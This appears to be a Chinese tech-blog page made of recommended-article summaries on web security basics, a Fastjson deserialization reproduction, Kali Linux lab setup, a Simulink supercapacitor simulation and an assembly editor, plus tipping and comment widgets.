Web安全是构建可信赖数字世界的基石,其核心在于理解客户端与服务器间的通信机制。从HTTP/HTTPS协议、前端基础到后端交互,这些构成了Web应用的基本工作原理。掌握这些原理,便能深入理解SQL注入、XSS等常见漏洞的形成机制,这些漏洞常因未对用户输入进行充分验证而引发。在合法授权的靶场环境中,通过手工注入实践,可以直观体会攻击者如何通过构造恶意输入改变程序逻辑。这种实践不仅提升了对安全威胁的认知,更是培养防御思维、编写健壮代码的关键。对于希望转行安全工程师或提升开发技能的初学者,遵循从网络基础到核心漏洞

weixin_33770878的博客 462

复现Fastjson反序列化漏洞(从dnslog回显到rce再到反弹shell)

Fastjson是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。......

记录并分享学习安全的知识点.. 2699

手把手教你学Simulink实例:基于Simulink的超级电容器充放电仿真

超级电容器(Supercapacitor)是一种高容量电容器,具有快速充放电能力、长寿命和高功率密度等优点。它在能量存储系统、电动汽车、不间断电源(UPS)等领域有广泛应用。为了更好地理解和设计超级电容器的应用系统,通常需要进行详细的仿真分析。Simulink 提供了一个强大的仿真环境,可以用来设计、分析和验证超级电容器充放电系统的控制策略。本教程将详细介绍如何使用 Simulink 进行超级电容器充放电的仿真实例。通过本教程,我们详细介绍了如何使用 Simulink 进行超级电容器充放电的仿真实例。

MHD0815的博客 581

2026年网络安全零基础入门:Kali Linux与VMware环境搭建实战

网络安全是保护计算机系统和网络免受攻击、破坏或未授权访问的技术领域,其核心原理包括机密性、完整性和可用性。通过虚拟化技术创建隔离的实验环境,学习者可以安全地掌握渗透测试工具的使用方法,这种实践方式对于培养实际技能具有重要价值。在应用场景上,从内网渗透到漏洞扫描,网络安全技术广泛应用于企业防护和个人隐私保护。本文以Kali Linux和VMware为例,详细介绍了零基础学习者如何快速搭建实验环境,并利用Nmap等工具进行基础的网络扫描与安全测试,帮助读者避开常见误区,建立正确的学习路径。

weixin_33875839的博客 394

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

上一篇: Kali利用msf渗透Windows电脑(超详细)
下一篇: 网络安全中的持久化是什么?常见持久化技术详解
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值